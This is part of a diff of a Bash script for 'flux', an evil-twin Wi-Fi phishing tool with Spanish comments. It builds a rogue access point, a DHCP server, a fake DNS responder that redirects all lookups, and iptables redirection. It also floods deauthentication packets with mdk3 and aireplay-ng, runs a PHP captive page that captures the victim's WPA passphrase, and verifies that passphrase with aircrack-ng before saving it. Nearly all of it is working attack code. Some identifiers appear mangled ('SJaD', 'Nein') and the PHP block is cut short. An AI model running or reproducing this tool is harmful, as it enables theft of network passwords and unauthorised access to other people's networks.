DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP + DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ESP + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ESP + NEUTRA + break + elif [ "$linea" = "3" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT + DIALOG_WEB_OK=$DIALOG_WEB_OK_IT + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_IT + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_IT + NEUTRA + break + elif [ "$linea" = "4" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR + DIALOG_WEB_OK=$DIALOG_WEB_OK_FR + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_FR + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_FR + NEUTRA + break + elif [ "$linea" = "5" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR + DIALOG_WEB_OK=$DIALOG_WEB_OK_POR + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_POR + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_POR + NEUTRA + break + elif [ "$linea" = "6" ]; then + continue + fi + fi + + done + preattack + attack +} + +# Crea distintas configuraciones necesarias para el script y preapa los servicios +function preattack { + +# Genera el config de hostapd +echo "interface=$WIFI +driver=nl80211 +sJad=$Host_SJaD +channel=$Host_CHAN +">$DUMP_PATH/hostapd.conf + +# Crea el php que usan las ifaces +echo "alert(\\\"$DIALOG_WEB_LENGHT_MIN\\\");window.history.back()\"; +break; +} + +if ( (strlen(\$key1) > 63) ) { +echo \"\"; +break; +} + + +\$file = fopen(\$filename, \"w\"); +fwrite(\$file,\"\$f_data\"); +fwrite(\$file,\"\n\"); +fclose(\$file); + + +\$archivo = fopen(\$intento, \"w\"); +fwrite(\$archivo,\"\n\"); +fclose(\$archivo); + +while(1) +{ + +if (file_get_contents(\"\$intento\") == 2) { + header(\"location:final.html\"); + break; + } +if (file_get_contents(\"\$intento\") == 1) { + header(\"location:error.html\"); + unlink(\$intento); + break; + } + +sleep(1); +} + +?>" > $DUMP_PATH/data/savekey.php + +# Se crea el config del servidor DHCP +echo "authoritative; + +default-lease-time 600; +max-lease-time 7200; + +subnet $RANG_IP.0 netmask 255.255.255.0 { + +option broadcast-address $RANG_IP.255; +option routers $IP; +option subnet-mask 255.255.255.0; +option domain-name-servers $IP; + +range $RANG_IP.100 $RANG_IP.250; + +} +" >$DUMP_PATH/dhcpd.conf + +# Se crea el config del servidor web Lighttpd +echo "server.document-root = \"$DUMP_PATH/data/\" + +server.modules = ( + \"mod_access\", + \"mod_alias\", + \"mod_accesslog\", + \"mod_fastcgi\", + \"mod_redirect\", + \"mod_rewrite\" +) + +fastcgi.server = ( \".php\" => (( + \"bin-path\" => \"/usr/bin/php-cgi\", + \"socket\" => \"/php.socket\" + ))) + +server.port = 80 +server.pid-file = \"/var/run/lighttpd.pid\" +# server.username = \"www\" +# server.groupname = \"www\" + +mimetype.asJagn = ( +\".html\" => \"text/html\", +\".htm\" => \"text/html\", +\".txt\" => \"text/plain\", +\".jpg\" => \"image/jpeg\", +\".png\" => \"image/png\", +\".css\" => \"text/css\" +) + + +server.error-handler-404 = \"/\" + +static-file.exclude-extenJaons = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) +index-file.names = ( \"index.htm\" ) +" >$DUMP_PATH/lighttpd.conf + +# Script (Nein es mio) que redirige todas las peticiones del DNS a la puerta de enlace (nuestro PC) +echo "import socket + +class DNSQuery: + def __init__(self, data): + self.data=data + self.dominio='' + + tipo = (ord(data[2]) >> 3) & 15 # 4bits de tipo de consulta + if tipo == 0: # Standard query + ini=12 + lon=ord(data[ini]) + while lon != 0: + self.dominio+=data[ini+1:ini+lon+1]+'.' + ini+=lon+1 + lon=ord(data[ini]) + + def respuesta(self, ip): + packet='' + if self.dominio: + packet+=self.data[:2] + \"\x81\x80\" + packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' # Numero preg y respuestas + packet+=self.data[12:] # Neinmbre de dominio original + packet+='\xc0\x0c' # Puntero al Neinmbre de dominio + packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' # Tipo respuesta, ttl, etc + packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # La ip en hex + return packet + +if __name__ == '__main__': + ip='$IP' + print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip + + udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + udps.bind(('',53)) + + try: + while 1: + data, addr = udps.recvfrom(1024) + p=DNSQuery(data) + udps.sendto(p.respuesta(ip), addr) + print 'Respuesta: %s -> %s' % (p.dominio, ip) + except KeyboardInterrupt: + print 'Finalizando' + udps.close() +" >$DUMP_PATH/fakedns +chmod +x $DUMP_PATH/fakedns + +} + +# Prepara las tablas de enrutamiento para establecer un servidor DHCP/WEB +function routear { + + ifconfig $interfaceroutear up + ifconfig $interfaceroutear $IP netmask 255.255.255.0 + + route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP + echo "1" > /proc/sys/net/ipv4/ip_forward + + iptables --flush + iptables --table nat --flush + iptables --delete-chain + iptables --table nat --delete-chain + iptables -P FORWARD ACCEPT + + iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 + iptables -t nat -A POSTROUTING -j MASQUERADE +} + +# Ejecuta el ataque +function attack { + + if [ "$fakeapmode" = "hostapd" ]; then + interfaceroutear=$WIFI + elif [ "$fakeapmode" = "airbase-ng" ]; then + interfaceroutear=at0 + fi + + handshakecheck + Neinmac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) + + if [ "$fakeapmode" = "hostapd" ]; then + + ifconfig $WIFI down + sleep 0.4 + macchanger --mac=${mac::13}$Neinmac${mac:14:4} $WIFI &> $flux_output_device + sleep 0.4 + ifconfig $WIFI up + sleep 0.4 + fi + + + if [ $fakeapmode = "hostapd" ]; then + killall hostapd &> $flux_output_device + xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & + elif [ $fakeapmode = "airbase-ng" ]; then + killall airbase-ng &> $flux_output_device + xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SJaD -c $Host_CHAN -a ${mac::13}$Neinmac${mac:14:4} $WIFI_MONITOR & + fi + sleep 5 + + routear & + sleep 3 + + + killall dhcpd &> $flux_output_device + xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" & + killall $(netstat -lnptu | grep ":53" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device + xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e python $DUMP_PATH/fakedns & + + killall $(netstat -lnptu | grep ":80" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device + lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device + + killall aireplay-ng &> $flux_output_device + killall mdk3 &> $flux_output_device + echo "$(cat $DUMP_PATH/dump-02.csv | cut -d "," -f1,14 | grep "$Host_SJaD" | cut -d "," -f1)" >$DUMP_PATH/mdk3.txt + xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautentificando con mdk3 a todos de $Host_SJaD" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & + + xterm -hold $TOPRIGHT -title "Esperando la pass" -e $DUMP_PATH/handcheck & + clear + + while true; do + mostrarheader + + echo "Ataque en curso..." + echo " " + echo " 1) Elegir otra red" + echo " 2) Beenden" + echo " " + echo -n ' #> ' + read yn + case $yn in + 1 ) matartodo; CSVDB=dump-01.csv; selection; break;; + 2 ) matartodo; exitmode; break;; + * ) echo "Opción descoNeincida. Elige de nuevo"; clear ;; + esac + done + +} + +# Comprueba la validez de la contraseña +function handshakecheck { + + echo "#!/bin/bash + + echo > $DUMP_PATH/data.txt + echo -n \"0\"> $DUMP_PATH/hit.txt + echo "" >$DUMP_PATH/loggg + + tput civis + clear + + minutos=0 + horas=0 + i=0 + + while true; do + + segundos=\$i + dias=\`expr \$segundos / 86400\` + segundos=\`expr \$segundos % 86400\` + horas=\`expr \$segundos / 3600\` + segundos=\`expr \$segundos % 3600\` + minutos=\`expr \$segundos / 60\` + segundos=\`expr \$segundos % 60\` + + if [ \"\$segundos\" -le 9 ]; then + is=\"0\" + else + is= + fi + + if [ \"\$minutos\" -le 9 ]; then + im=\"0\" + else + im= + fi + + if [ \"\$horas\" -le 9 ]; then + ih=\"0\" + else + ih= + fi">>$DUMP_PATH/handcheck + + if [ $authmode = "handshake" ]; then + echo "if [ -f $DUMP_PATH/intento ]; then + + if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase Neint in\"; then + echo \"2\">$DUMP_PATH/intento + break + else + echo \"1\">$DUMP_PATH/intento + fi + + fi">>$DUMP_PATH/handcheck + + elif [ $authmode = "wpa_supplicant" ]; then + echo " + wpa_passphrase $Host_SJaD \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & + wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & + + if [ -f $DUMP_PATH/intento ]; then + + if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then + echo \"2\">$DUMP_PATH/intento + break + else + echo \"1\">$DUMP_PATH/intento + fi + + fi + ">>$DUMP_PATH/handcheck + fi + + echo "readarray -t CLIENTESDHCP < <(cat $DUMP_PATH/clientes.txt | grep \"DHCPACK on\"| awk '!x[\$0]++' ) + + echo + echo -e \" PUNTO DE ACCESO:\" + echo -e \" Neinmbre..........: "$weis"$Host_SJaD"$transparent"\" + echo -e \" MAC.............: "$gelb"$Host_MAC"$transparent"\" + echo -e \" Canal...........: "$weis"$Host_CHAN"$transparent"\" + echo -e \" Fabricante......: "$gruen"$Host_MAC_MODEL"$transparent"\" + echo -e \" Tiempo activo...: "$grau"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" + echo -e \" Intentos........: "$rot"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" + echo -e \" Clientes........: "$azul"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | awk '!x[\$0]++' | wc -l)"$transparent"\" + echo + echo -e \" CLIENTES:\" + + x=0 + for line in \"\${CLIENTESDHCP[@]}\"; do + x=\$((\$x+1)) + echo -e \" "$gruen"\$x) "$rot"\$(echo \$line| cut -d \" \" -f 3) "$gelb"\$(echo \$line| cut -d \" \" -f 5) "$gruen"\$(echo \$line| cut -d \" \" -f 6)"$transparent"\" + done + + echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck + + + if [ $authmode = "handshake" ]; then + echo "let i=\$i+1 + sleep 1">>$DUMP_PATH/handcheck + + elif [ $authmode = "wpa_supplicant" ]; then + echo "sleep 5 + + killall wpa_supplicant &>$flux_output_device + killall wpa_passphrase &>$flux_output_device + let i=\$i+5">>$DUMP_PATH/handcheck + fi + + echo "done + clear + echo \"1\" > $DUMP_PATH/status.txt + + sleep 7 + + killall mdk3 &>$flux_output_device + killall aireplay-ng &>$flux_output_device + killall airbase-ng &>$flux_output_device + kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device + killall hostapd &>$flux_output_device + killall lighttpd &>$flux_output_device + killall dhcpd &>$flux_output_device + killall wpa_supplicant &>$flux_output_device + killall wpa_passphrase &>$flux_output_device + + echo \" + flux $verJaon by vk496 + + SJaD: $Host_SJaD + BSJaD: $Host_MAC ($Host_MAC_MODEL) + Channel: $Host_CHAN + Security: $Host_ENC + Time: \$ih\$horas:\$im\$minutos:\$is\$segundos + Password: \$(cat $DUMP_PATH/data.txt) + \" >$HOME/$Host_SJaD-password.txt">>$DUMP_PATH/handcheck + + + if [ $authmode = "handshake" ]; then + echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"Se ha guardado en "$rot"$HOME/$Host_SJaD-password.txt"$transparent"\" + ">>$DUMP_PATH/handcheck + + elif [ $authmode = "wpa_supplicant" ]; then + echo "echo -e \"Se ha guardado en "$rot"$HOME/$Host_SJaD-password.txt"$transparent"\"">>$DUMP_PATH/handcheck + fi + + echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck + chmod +x $DUMP_PATH/handcheck +} + + +############################################# < ATAQUE > ############################################ + + + + + + +############################################## < COSAS > ############################################ + +# Deauth a todos +function deauthall { + + xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deautentication a todos de $Host_SJaD" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --igNeinre-negative-one $WIFI_MONITOR & +} + +function deauthmdk3 { + + echo "$Host_MAC" >$DUMP_PATH/mdk3.txt + xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deautentication mdk3 a todos de $Host_SJaD" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & + mdk3PID=$! + sleep 15 + kill $mdk3PID &>$flux_output_device +} + +# Deauth a un cliente específico +function deauthesp { + + sleep 2 + xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deautentication a $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --igNeinre-negative-one $WIFI_MONITOR & +} + +# Cierra todos los procesos +function matartodo { + + killall aireplay-ng &>$flux_output_device + kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device + killall hostapd &>$flux_output_device + killall lighttpd &>$flux_output_device + killall dhcpd &>$flux_output_device + killall xterm &>$flux_output_device + +} + + + +######################################### < INTERFACES WEB > ######################################## + +# Crea el contenido de la interface web +function NEUTRA { + + if [ ! -d $DUMP_PATH/data ]; then + mkdir $DUMP_PATH/data + fi + + +